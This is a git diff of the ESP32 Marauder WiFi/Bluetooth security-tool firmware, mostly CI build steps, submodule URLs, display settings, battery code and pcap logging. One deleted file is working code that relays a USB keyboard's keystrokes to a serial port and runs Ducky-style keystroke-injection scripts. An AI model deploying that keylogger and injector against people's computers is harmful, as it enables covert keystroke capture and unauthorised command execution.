sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
extra-arduino-cli-args: "--warnings none"
- name: Rename v6 Marauder bin
run: |
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
- name: Configure TFT_eSPI and configs.h for Marauder Kit
run: |
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
@@ -221,6 +335,7 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -228,7 +343,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Kit
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -245,6 +360,7 @@ jobs:
sed -i 's/^ \/\/#define MARAUDER_MINI/ #define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -252,7 +368,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Mini
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -267,6 +383,7 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -274,7 +391,7 @@ jobs:
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for ESP32 LDDB
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -289,6 +406,7 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -296,7 +414,7 @@ jobs:
sed -i 's/^ \/\/#define MARAUDER_DEV_BOARD_PRO/ #define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
- name: Build Marauder for Marauder Dev Board Pro
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
@@ -315,6 +433,7 @@ jobs:
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
@@ -323,7 +442,7 @@ jobs:
sed -i 's/^ \/\/#define MARAUDER_M5STICKC/ #define MARAUDER_M5STICKC/' esp32_marauder/configs.h
- name: Build Marauder for Marauder M5StickC
uses: ArminJo/arduino-test-compile@v3.2.0
uses: ArminJo/arduino-test-compile@v3.2.1
with:
sketch-names: esp32_marauder.ino
arduino-board-fqbn: esp32:esp32:m5stick-c:PartitionScheme=min_spiffs
@@ -372,6 +491,13 @@ jobs:
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
retention-days: 5
- name: 'Upload v6_1 Artifact'
uses: actions/upload-artifact@v3
with:
name: esp32_marauder.v6_1.bin
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
retention-days: 5
- name: 'Upload Kit Artifact'
uses: actions/upload-artifact@v3
with:
@@ -444,14 +570,14 @@ jobs:
if: github.event_name != 'pull_request'
- name: Upload MultiboardS3 Asset
id: upload-mutliboardS3-release-asset
id: upload-multiboardS3-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
asset_name: esp32_marauder.mutliboardS3.bin
asset_name: esp32_marauder.multiboardS3.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
@@ -478,6 +604,18 @@ jobs:
asset_name: esp32_marauder.v6.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload v6_1 Asset
id: upload-v6-1-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ steps.create_release.outputs.upload_url }}
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
asset_name: esp32_marauder.v6_1.bin
asset_content_type: application/bin
if: github.event_name != 'pull_request'
- name: Upload Kit Asset
id: upload-kit-release-asset

1
.gitignore vendored
View File

@@ -1,4 +1,5 @@
.vscode/arduino.json
.vscode/c_cpp_properties.json
.vscode/settings.json
esp32_marauder/.vscode/settings.json

16
.gitmodules vendored
View File

@@ -1,24 +1,24 @@
[submodule "esp32_marauder/libraries/lv_arduino"]
path = esp32_marauder/libraries/lv_arduino
url = git@github.com:lvgl/lv_arduino.git
url = https://github.com/lvgl/lv_arduino.git
[submodule "esp32_marauder/libraries/LinkedList"]
path = esp32_marauder/libraries/LinkedList
url = git@github.com:ivanseidel/LinkedList.git
url = https://github.com/ivanseidel/LinkedList.git
[submodule "esp32_marauder/libraries/TFT_eSPI"]
path = esp32_marauder/libraries/TFT_eSPI
url = git@github.com:justcallmekoko/TFT_eSPI.git
url = https://github.com/justcallmekoko/TFT_eSPI.git
[submodule "esp32_marauder/libraries/JPEGDecoder"]
path = esp32_marauder/libraries/JPEGDecoder
url = git@github.com:Bodmer/JPEGDecoder.git
url = https://github.com/Bodmer/JPEGDecoder.git
[submodule "esp32_marauder/libraries/NimBLE-Arduino"]
path = esp32_marauder/libraries/NimBLE-Arduino
url = git@github.com:h2zero/NimBLE-Arduino.git
url = https://github.com/h2zero/NimBLE-Arduino.git
[submodule "esp32_marauder/libraries/Adafruit_NeoPixel"]
path = esp32_marauder/libraries/Adafruit_NeoPixel
url = git@github.com:adafruit/Adafruit_NeoPixel.git
url = https://github.com/adafruit/Adafruit_NeoPixel.git
[submodule "esp32_marauder/libraries/ArduinoJson"]
path = esp32_marauder/libraries/ArduinoJson
url = git@github.com:bblanchon/ArduinoJson.git
url = https://github.com/bblanchon/ArduinoJson.git
[submodule "esp32_marauder/libraries/SwitchLib"]
path = esp32_marauder/libraries/SwitchLib
url = git@github.com:justcallmekoko/SwitchLib.git
url = https://github.com/justcallmekoko/SwitchLib.git

View File

@@ -3,7 +3,7 @@
<!---[![Build Status](https://travis-ci.com/justcallmekoko/ESP32Marauder.svg?branch=master)](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
<!---Shields/Badges https://shields.io/--->
# ESP32 Marauder v0.10.6
# ESP32 Marauder v0.13.2
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
<p align="center">
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>

7
TestFile/TestFile.ino Normal file
View File

@@ -0,0 +1,7 @@
void setup() {
Serial.begin(115200);
}
void loop() {
Serial.println("Just a test");
}

View File

@@ -18,6 +18,8 @@
// Display type - only define if RPi display
//#define RPI_DRIVER
#define CGRAM_OFFSET
// Only define one driver, the other ones must be commented out
//#define ILI9341_DRIVER // OG Marauder
//#define ST7735_DRIVER // Marauder Mini // Define additional parameters below for this display
@@ -52,10 +54,10 @@
// For ST7789, ST7735 and ILI9163 ONLY, define the pixel width and height in portrait orientation
// #define TFT_WIDTH 80
#define TFT_WIDTH 240 // Marauder Mini
#define TFT_WIDTH 135 // Marauder Mini
// #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
// #define TFT_HEIGHT 160
#define TFT_HEIGHT 135 // Marauder Mini
#define TFT_HEIGHT 240 // Marauder Mini
// #define TFT_HEIGHT 240 // ST7789 240 x 240
// #define TFT_HEIGHT 320 // ST7789 240 x 320
@@ -168,11 +170,11 @@
#define TFT_CS 5 // Chip select control pin D8
#define TFT_DC 23 // Data Command control pin
#define TFT_RST 18 // Reset pin (could connect to NodeMCU RST, see next line)
#define TOUCH_CS -1
#define TOUCH_CS 10
//#define TFT_MISO 19
#define TFT_MOSI 15
#define TFT_SCLK 13
//#define TFT_BL 32
#define TFT_BL 10
/*
// ESP32 Marauder

View File

@@ -1,459 +0,0 @@
#include <hidboot.h>
#include <usbhub.h>
#include "Keyboard.h"
#define Serial Serial1
// Satisfy the IDE, which needs to see the include statment in the ino too.
#ifdef dobogusinclude
#include <spi4teensy3.h>
#include <SPI.h>
#endif
#include <SPI.h>
#include <SD.h>
#define CAPS_LOCK 0x39
#define NUM_LOCK 0x53
#define SCROLL_LOCK 0x47
#define PRINT_SCREEN 0x46
#define NUM_1 0x59
#define NUM_2 0x5A
#define NUM_3 0x5B
#define NUM_4 0x5C
#define NUM_5 0x5D
#define NUM_6 0x5E
#define NUM_7 0x5F
#define NUM_8 0x60
#define NUM_9 0x61
#define NUM_0 0x62
#define KEY_CAPS_LOCK 0x01
#define KEY_NUM_LOCK 0x02
#define KEY_SCROLL_LOCK 0x04
#define KEY_PRINT_SCREEN 0x05
#define KEY_NUM_1 0x31
#define KEY_NUM_2 0x32
#define KEY_NUM_3 0x33
#define KEY_NUM_4 0x34
#define KEY_NUM_5 0x35
#define KEY_NUM_6 0x36
#define KEY_NUM_7 0x37
#define KEY_NUM_8 0x38
#define KEY_NUM_9 0x39
#define KEY_NUM_0 0x30
String bufferStr = "";
String last = "";
int defaultDelay = 0;
bool shift = false;
bool num_lock = false; // false is working half way
USB Usb;
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
uint32_t next_time;
class KbdRptParser : public KeyboardReportParser{
public:
uint8_t _parse(uint8_t key);
String _getChar(uint8_t key);
protected:
void OnControlKeysChanged(uint8_t before, uint8_t after);
void OnKeyDown (uint8_t mod, uint8_t key);
void OnKeyUp (uint8_t mod, uint8_t key);
void OnKeyPressed(uint8_t key);
void _press(uint8_t key);
void _release(uint8_t key);
};
void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
digitalWrite(LED_BUILTIN, HIGH);
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00) _press(c);
else _press(key);
}else _press(parsedKey);
digitalWrite(LED_BUILTIN, LOW);
}
void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
int parsedKey = _parse(key);
if(parsedKey == key){
uint8_t c = OemToAscii(mod, key);
OnKeyPressed(c);
if(c != 0x20 && c != 0x00){
_release(c);
Serial.print((char)c);
}
else{
_release(key);
Serial.print("0x");
Serial.print(key, HEX);
}
}else{
_release(parsedKey);
Serial.print(_getChar(key));
}
}
void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
MODIFIERKEYS beforeMod;
*((uint8_t*)&beforeMod) = before;
MODIFIERKEYS afterMod;
*((uint8_t*)&afterMod) = after;
//left
if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
else Keyboard.release(KEY_LEFT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
}
if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
else Keyboard.release(KEY_LEFT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
}
if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
else Keyboard.release(KEY_LEFT_ALT);
Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
}
if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
else Keyboard.release(KEY_LEFT_GUI);
Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
}
//right
if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
else Keyboard.release(KEY_RIGHT_CTRL);
Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
}
if(beforeMod.bmRightShift != afterMod.bmRightShift){
if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
else Keyboard.release(KEY_RIGHT_SHIFT);
shift = afterMod.bmLeftShift;
//Serial.print("<shift "+(String)afterMod.bmRightShift+">");
}
if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
else Keyboard.release(KEY_RIGHT_ALT);
Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
}
if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
else Keyboard.release(KEY_RIGHT_GUI);
Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
}
}
void KbdRptParser::OnKeyPressed(uint8_t key){
/*Serial.print("ASCII: \"");
Serial.print((char)key);
Serial.print("\" = 0x");
Serial.print(key, HEX);
Serial.print("; ");*/
};
uint8_t KbdRptParser::_parse(uint8_t key){
/*
Serial.print("0x");
Serial.print(key, HEX);
Serial.print(" = ");*/
switch(key){
case CAPS_LOCK: return KEY_CAPS_LOCK; break; // CAPS
case NUM_LOCK: return KEY_NUM_LOCK; break; // NUM LOCK
case SCROLL_LOCK: return KEY_SCROLL_LOCK; break; // SCROLL LOCK
case PRINT_SCREEN: return KEY_PRINT_SCREEN; break; // PRINT SCREEN
case NUM_1 : if (!num_lock) return KEY_NUM_1; break;
case NUM_2 : if (!num_lock) return KEY_NUM_2; break;
case NUM_3 : if (!num_lock) return KEY_NUM_3; break;
case NUM_4 : if (!num_lock) return KEY_NUM_4; break;
case NUM_5 : if (!num_lock) return KEY_NUM_5; break;
case NUM_6 : if (!num_lock) return KEY_NUM_6; break;
case NUM_7 : if (!num_lock) return KEY_NUM_7; break;
case NUM_8 : if (!num_lock) return KEY_NUM_8; break;
case NUM_9 : if (!num_lock) return KEY_NUM_9; break;
case NUM_0 : if (!num_lock) return KEY_NUM_0; break;
case 0x2C: return 0x20; break; // SPACE
case 40: return KEY_RETURN; break;
case 41: return KEY_ESC; break;
case 42: return KEY_BACKSPACE; break;
case 43: return KEY_TAB; break;
case 58: return KEY_F1; break;
case 59: return KEY_F2; break;
case 60: return KEY_F3; break;
case 61: return KEY_F4; break;
case 62: return KEY_F5; break;
case 63: return KEY_F6; break;
case 64: return KEY_F7; break;
case 65: return KEY_F8; break;
case 66: return KEY_F9; break;
case 67: return KEY_F10; break;
case 68: return KEY_F11; break;
case 69: return KEY_F12; break;
case 73: return KEY_INSERT; break;
case 74: return KEY_HOME; break;
case 75: return KEY_PAGE_UP; break;
case 76: return KEY_DELETE; break;
case 77: return KEY_END; break;
case 78: return KEY_PAGE_DOWN; break;
case 79: return KEY_RIGHT_ARROW; break;
case 80: return KEY_LEFT_ARROW; break;
case 81: return KEY_DOWN_ARROW; break;
case 82: return KEY_UP_ARROW; break;
case 88: return KEY_RETURN; break;
//=====[DE-Keyboard]=====//
case 0x64: return 236; break; // <
case 0x32: return 92; break; // #
//======================//
default: {
//Serial.print(" N/A ");
return key;
}
}
}
String KbdRptParser::_getChar(uint8_t key){
switch(key){
case CAPS_LOCK: return "<CAPS_LOCK>"; break; // CAPS
case NUM_LOCK: return "<NUM_LOCK>"; break; // NUM LOCK
case SCROLL_LOCK: return "<SCROLL_LOCK>"; break; // SCROLL LOCK
case PRINT_SCREEN: return "<PRINT_SCREEN>"; break; // PRINT SCREEN
//case NUM_1 : if (num_lock) return "<NUM_1>"; break;
//case NUM_2 : if (num_lock) return "<NUM_2>"; break;
//case NUM_3 : if (num_lock) return "<NUM_3>"; break;
//case NUM_4 : if (num_lock) return "<NUM_4>"; break;
//case NUM_5 : if (num_lock) return "<NUM_5>"; break;
//case NUM_6 : if (num_lock) return "<NUM_6>"; break;
//case NUM_7 : if (num_lock) return "<NUM_7>"; break;
//case NUM_8 : if (num_lock) return "<NUM_8>"; break;
//case NUM_9 : if (num_lock) return "<NUM_9>"; break;
//case NUM_0 : if (num_lock) return "<NUM_0>"; break;
case 0x2C: return " "; break;
case 40: return "<RETURN>\n"; break;
case 41: return "<ESC>\n"; break;
case 42: return "<BACKSPCAE>"; break;
case 43: return "<TAB>\n"; break;
case 58: return "<F1>\n"; break;
case 59: return "<F2>\n"; break;
case 60: return "<F3>\n"; break;
case 61: return "<F4>\n"; break;
case 62: return "<F5>\n"; break;
case 63: return "<F6>\n"; break;
case 64: return "<F7>\n"; break;
case 65: return "<F8>\n"; break;
case 66: return "<F9>\n"; break;
case 67: return "<F10>\n"; break;
case 68: return "<F11>\n"; break;
case 69: return "<F12>\n"; break;
case 73: return "<INSERT>"; break;
case 74: return "<HOME>\n"; break;
case 75: return "<PAGE_UP>\n"; break;
case 76: return "<DELETE>"; break;
case 77: return "<END>\n"; break;
case 78: return "<PAGE_DOWN>\n"; break;
case 79: return "<RIGHT_ARROW>\n"; break;
case 80: return "<LEFT_ARROW>\n"; break;
case 81: return "<DOWN_ARROW>\n"; break;
case 82: return "<UP_ARROW>\n"; break;
case 88: return "<RETURN>\n"; break;
//=====[DE-Keyboard]=====//
case 0x64: {
if(shift) return "<";
else return ">";
break;
}
case 0x32:{
if(shift) return "'";
else return "#";
break;
}
//======================//
default: {
return "";
}
}
}
void KbdRptParser::_press(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" DOWN");*/
Keyboard.press(key);
}
void KbdRptParser::_release(uint8_t key){
/*Serial.print("0x");
Serial.print(key, HEX);
Serial.println(" UP");
Serial.println();*/
Keyboard.release(key);
}
KbdRptParser parser;
void Line(String _line)
{
int firstSpace = _line.indexOf(" ");
if(firstSpace == -1) Press(_line);
else if(_line.substring(0,firstSpace) == "STRING"){
for(int i=firstSpace+1;i<_line.length();i++) Keyboard.write(_line[i]);
}
else if(_line.substring(0,firstSpace) == "DELAY"){
int delaytime = _line.substring(firstSpace + 1).toInt();
delay(delaytime);
}
else if(_line.substring(0,firstSpace) == "DEFAULTDELAY") defaultDelay = _line.substring(firstSpace + 1).toInt();
else if(_line.substring(0,firstSpace) == "REM"){} //nothing :/
else if(_line.substring(0,firstSpace) == "REPLAY") {
int replaynum = _line.substring(firstSpace + 1).toInt();
while(replaynum)
{
Line(last);
--replaynum;
}
} else{
String remain = _line;
while(remain.length() > 0){
int latest_space = remain.indexOf(" ");
if (latest_space == -1){
Press(remain);
remain = "";
}
else{
Press(remain.substring(0, latest_space));
remain = remain.substring(latest_space + 1);
}
delay(5);
}
}
Keyboard.releaseAll();
delay(defaultDelay);
}
void Press(String b){
if(b.length() == 1) Keyboard.press(char(b[0]));
else if (b.equals("ENTER")) Keyboard.press(KEY_RETURN);
else if (b.equals("CTRL")) Keyboard.press(KEY_LEFT_CTRL);
else if (b.equals("SHIFT")) Keyboard.press(KEY_LEFT_SHIFT);
else if (b.equals("ALT")) Keyboard.press(KEY_LEFT_ALT);
else if (b.equals("GUI")) Keyboard.press(KEY_LEFT_GUI);
else if (b.equals("UP") || b.equals("UPARROW")) Keyboard.press(KEY_UP_ARROW);
else if (b.equals("DOWN") || b.equals("DOWNARROW")) Keyboard.press(KEY_DOWN_ARROW);
else if (b.equals("LEFT") || b.equals("LEFTARROW")) Keyboard.press(KEY_LEFT_ARROW);
else if (b.equals("RIGHT") || b.equals("RIGHTARROW")) Keyboard.press(KEY_RIGHT_ARROW);
else if (b.equals("DELETE")) Keyboard.press(KEY_DELETE);
else if (b.equals("PAGEUP")) Keyboard.press(KEY_PAGE_UP);
else if (b.equals("PAGEDOWN")) Keyboard.press(KEY_PAGE_DOWN);
else if (b.equals("HOME")) Keyboard.press(KEY_HOME);
else if (b.equals("ESC")) Keyboard.press(KEY_ESC);
else if (b.equals("BACKSPACE")) Keyboard.press(KEY_BACKSPACE);
else if (b.equals("INSERT")) Keyboard.press(KEY_INSERT);
else if (b.equals("TAB")) Keyboard.press(KEY_TAB);
else if (b.equals("END")) Keyboard.press(KEY_END);
else if (b.equals("CAPSLOCK")) Keyboard.press(KEY_CAPS_LOCK);
else if (b.equals("F1")) Keyboard.press(KEY_F1);
else if (b.equals("F2")) Keyboard.press(KEY_F2);
else if (b.equals("F3")) Keyboard.press(KEY_F3);
else if (b.equals("F4")) Keyboard.press(KEY_F4);
else if (b.equals("F5")) Keyboard.press(KEY_F5);
else if (b.equals("F6")) Keyboard.press(KEY_F6);
else if (b.equals("F7")) Keyboard.press(KEY_F7);
else if (b.equals("F8")) Keyboard.press(KEY_F8);
else if (b.equals("F9")) Keyboard.press(KEY_F9);
else if (b.equals("F10")) Keyboard.press(KEY_F10);
else if (b.equals("F11")) Keyboard.press(KEY_F11);
else if (b.equals("F12")) Keyboard.press(KEY_F12);
else if (b.equals("SPACE")) Keyboard.press(' ');
//else Serial.println("not found :'"+b+"'("+String(b.length())+")");
}
void setup()
{
Serial.begin(115200);
//Serial1.begin(115200);
Keyboard.begin();
delay(2000);
pinMode(LED_BUILTIN, OUTPUT);
// Turn signal LED off
digitalWrite(LED_BUILTIN, LOW);
//Serial1.println("\n\nLogging keys...\n");
/*
for(int i=0;i<256;i++){
int key = parser._parse(i);
if(key == i){
Keyboard.print((String)i+" ");
Keyboard.write(i);
delay(200);
Keyboard.write(KEY_RETURN);
}
}*/
if(Usb.Init() == -1) Serial.println("OSC did not start.");
delay(200);
next_time = millis() + 5000;
HidKeyboard.SetReportParser(0, &parser);
}
void loop(){
Usb.Task();
if(Serial.available()) {
bufferStr = Serial.readStringUntil("END");
//Serial.println(bufferStr);
}
if(bufferStr.length() > 0){
bufferStr.replace("\r","\n");
bufferStr.replace("\n\n","\n");
while(bufferStr.length() > 0){
int latest_return = bufferStr.indexOf("\n");
if(latest_return == -1){
//Serial.println("run: "+bufferStr);
Line(bufferStr);
bufferStr = "";
} else{
//Serial.println("run: '"+bufferStr.substring(0, latest_return)+"'");
Line(bufferStr.substring(0, latest_return));
last=bufferStr.substring(0, latest_return);
bufferStr = bufferStr.substring(latest_return + 1);
}
}
bufferStr = "";
Serial.write(0x99);
//Serial.println("done");
}
}

File diff suppressed because one or more lines are too long

View File

@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
}
void BatteryInterface::main(uint32_t currentTime) {
#ifndef MARAUDER_FLIPPER
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
}
#endif
}
}
void BatteryInterface::RunSetup() {
#ifndef MARAUDER_FLIPPER
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
#endif
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
}
int8_t BatteryInterface::getBatteryLevel() {
#ifndef MARAUDER_FLIPPER
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
this->i2c_supported = false;
return -1;
#endif
}
this->i2c_supported = false;
return -1;
}

View File

@@ -5,9 +5,7 @@
#include "configs.h"
#ifndef MARAUDER_FLIPPER
#include <Wire.h>
#endif
#include <Wire.h>
#define I2C_SDA 33
#define I2C_SCL 22

View File

@@ -6,12 +6,20 @@ Buffer::Buffer(){
bufB = (uint8_t*)malloc(BUF_SIZE);
}
void Buffer::createPcapFile(fs::FS* fs, String fn){
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
int i=0;
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
if (!log) {
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
}
else {
do{
fileName = "/"+fn+"_"+(String)i+".log";
i++;
} while(fs->exists(fileName));
}
Serial.println(fileName);
@@ -19,20 +27,23 @@ void Buffer::createPcapFile(fs::FS* fs, String fn){
file.close();
}
void Buffer::open(){
void Buffer::open(bool log){
bufSizeA = 0;
bufSizeB = 0;
bufSizeB = 0;
bufSizeB = 0;
writing = true;
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
if (!log) {
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
}
}
void Buffer::close(fs::FS* fs){
@@ -42,8 +53,7 @@ void Buffer::close(fs::FS* fs){
Serial.println(text01);
}
void Buffer::addPacket(uint8_t* buf, uint32_t len){
